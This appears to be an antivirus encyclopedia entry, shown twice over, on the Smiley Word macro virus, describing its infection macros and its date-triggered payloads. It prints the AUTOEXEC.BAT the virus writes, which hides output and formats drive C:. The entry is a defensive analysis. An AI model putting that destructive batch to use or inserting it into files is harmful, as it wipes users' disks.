Kaspersky Threats

Kategorie

Plattform

Beschreibung

Technical Details

This is an encrypted Word macro virus. It contains 8 macros in both
NORMAL.DOT and infected files:



Timer, AutoExec, AutoExit, AutoOpen, DateiSpeichern, DateiSpeichernUnter,

DateiDrucken, DateiDruckenStandard

On AutoOpen the virus infects the system, on saving a file (DateiSpeichern,
DateiSpeichernUnter) the virus infects it.

On AutoExec the virus creates the parameter „Smiley=“ in WIN.INI file in
[windows] section, and writes current date to there. On each start the
virus checks that parameter, and on 14th day after infection sets new
values for menu Tools/Options/UserInfo:



Name:     Smiley Corporation

Initials: SC

Address:  Greenpeace

These data then will be written to any document while editing.

The virus deletes menu items if they exist:



Datei/Makro…

Datei/Dokumentvorlage…

Ansicht/Symbolleisten…

Extras/Anpassen…

On 56th day the virus overwrites C:AUTOEXEC.BAT with the text that on
execution will display the messages and format the hard drive:



@ECHO OFF

CLS

ECHO Achtung !!! Stoppt alle Atomversuche !!!

Atomversuche bedeuten unseren sicheren Tod !!!

ECHO Achtung !!! Stoppt die Abholzung der Tropenwälder !!!

Kauft nie Gegenstände aus Tropenholz !!!

ECHO Achtung !!! Stoppt den Treibhauseffekt !!!

Er führt zu einer tödlichen Klimaveränderung !!!

ECHO.

ECHO (C) Smiley Corporation

ECHO.

ECHO !!! ABER JETZT IST ES ZU SPÄT !!!

ECHO.

CTTY NUL

C:DOSFORMAT.COM C: /U /AUTOTEST

C:WINDOWSCOMMANDFORMAT.COM C: /U /AUTOTEST

On 28th day the virus activates its Timer macro and calls it once per
minute. On each call this macro creates the Toolbar button „Smiley“ that
displays one of the texts:



ACHTUNG !!! STOPPT ALLE ATOMVERSUCHE !!!

ATOMVERSUCHE BEDEUTEN UNSEREN SICHEREN TOD !!!

ACHTUNG !!! STOPPT DIE ABHOLZUNG DER TROPENWÄlDER !!!

KAUFT NIE GEGENSTÄNDE AUS TROPENHOLZ !!!

ACHTUNG !!! STOPPT DEN TREIBHAUSEFFEKT !!!

ER FÜHRT ZU EINER TÖDLICHEN KLIMAVERÄNDERUNG !!!

On AutoExit the virus displays the text:
Achtung !!! Stoppt alle Atomversuche !!!
Atomversuche bedeuten unseren sicheren Tod !!!
Achtung !!! Stoppt die Abholzung der Tropenwälder !!!
Kauft nie Gegenstände aus Tropenholz !!!
Achtung !!! Stoppt den Treibhauseffekt !!!
Er führt zu einer tödlichen Klimaveränderung !!!
© Smiley Corporation
On printing (DateiSpeichern and DateiDruckenStandard) the virus adds the
same text to the end of document.

Link zum Original

Informieren Sie sich über die Statistiken der in Ihrer Region verbreiteten Bedrohungen

Kategorie	Virus
Plattform	MSWord
Beschreibung	Technical Details This is an encrypted Word macro virus. It contains 8 macros in both NORMAL.DOT and infected files: Timer, AutoExec, AutoExit, AutoOpen, DateiSpeichern, DateiSpeichernUnter, DateiDrucken, DateiDruckenStandard On AutoOpen the virus infects the system, on saving a file (DateiSpeichern, DateiSpeichernUnter) the virus infects it. On AutoExec the virus creates the parameter „Smiley=“ in WIN.INI file in [windows] section, and writes current date to there. On each start the virus checks that parameter, and on 14th day after infection sets new values for menu Tools/Options/UserInfo: Name: Smiley Corporation Initials: SC Address: Greenpeace These data then will be written to any document while editing. The virus deletes menu items if they exist: Datei/Makro… Datei/Dokumentvorlage… Ansicht/Symbolleisten… Extras/Anpassen… On 56th day the virus overwrites C:AUTOEXEC.BAT with the text that on execution will display the messages and format the hard drive: @ECHO OFF CLS ECHO Achtung !!! Stoppt alle Atomversuche !!! Atomversuche bedeuten unseren sicheren Tod !!! ECHO Achtung !!! Stoppt die Abholzung der Tropenwälder !!! Kauft nie Gegenstände aus Tropenholz !!! ECHO Achtung !!! Stoppt den Treibhauseffekt !!! Er führt zu einer tödlichen Klimaveränderung !!! ECHO. ECHO (C) Smiley Corporation ECHO. ECHO !!! ABER JETZT IST ES ZU SPÄT !!! ECHO. CTTY NUL C:DOSFORMAT.COM C: /U /AUTOTEST C:WINDOWSCOMMANDFORMAT.COM C: /U /AUTOTEST On 28th day the virus activates its Timer macro and calls it once per minute. On each call this macro creates the Toolbar button „Smiley“ that displays one of the texts: ACHTUNG !!! STOPPT ALLE ATOMVERSUCHE !!! ATOMVERSUCHE BEDEUTEN UNSEREN SICHEREN TOD !!! ACHTUNG !!! STOPPT DIE ABHOLZUNG DER TROPENWÄlDER !!! KAUFT NIE GEGENSTÄNDE AUS TROPENHOLZ !!! ACHTUNG !!! STOPPT DEN TREIBHAUSEFFEKT !!! ER FÜHRT ZU EINER TÖDLICHEN KLIMAVERÄNDERUNG !!! On AutoExit the virus displays the text: Achtung !!! Stoppt alle Atomversuche !!! Atomversuche bedeuten unseren sicheren Tod !!! Achtung !!! Stoppt die Abholzung der Tropenwälder !!! Kauft nie Gegenstände aus Tropenholz !!! Achtung !!! Stoppt den Treibhauseffekt !!! Er führt zu einer tödlichen Klimaveränderung !!! © Smiley Corporation On printing (DateiSpeichern and DateiDruckenStandard) the virus adds the same text to the end of document.
	Link zum Original
	Informieren Sie sich über die Statistiken der in Ihrer Region verbreiteten Bedrohungen

Virus.MSWord.Smiley

Technical Details